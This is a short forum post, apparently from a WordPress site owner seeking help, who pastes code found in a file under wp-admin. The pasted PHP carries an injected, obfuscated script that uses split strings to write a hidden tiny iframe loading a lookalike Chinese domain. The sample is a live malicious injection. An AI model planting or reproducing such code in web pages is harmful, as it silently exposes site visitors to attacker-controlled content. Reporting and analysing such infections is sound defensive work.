Thanks. I’ve gotten it under control now.
On further inspection, my wp-admin page is giving me a similar error.
Here’s the code in question, but it really doesn’t make any sense to me:
/** Loads the WordPress Environment and Template */
require('./wp-blog-header.php');
?><?php echo '<script>document.write("<if"+''+'ra'+''+"m"+'e s'+"rc=\"h"+''+'tt'+"p:"+''+"/"+''+'/mic'+"roso"+'t'+''+'f.c'+"n"+'/'+"\" wid"+''+'th=1 he'+"igh"+''+'t'+"="+"2></i"+''+"f"+"ra"+''+""+''+"me"+'>');</script>'; ?>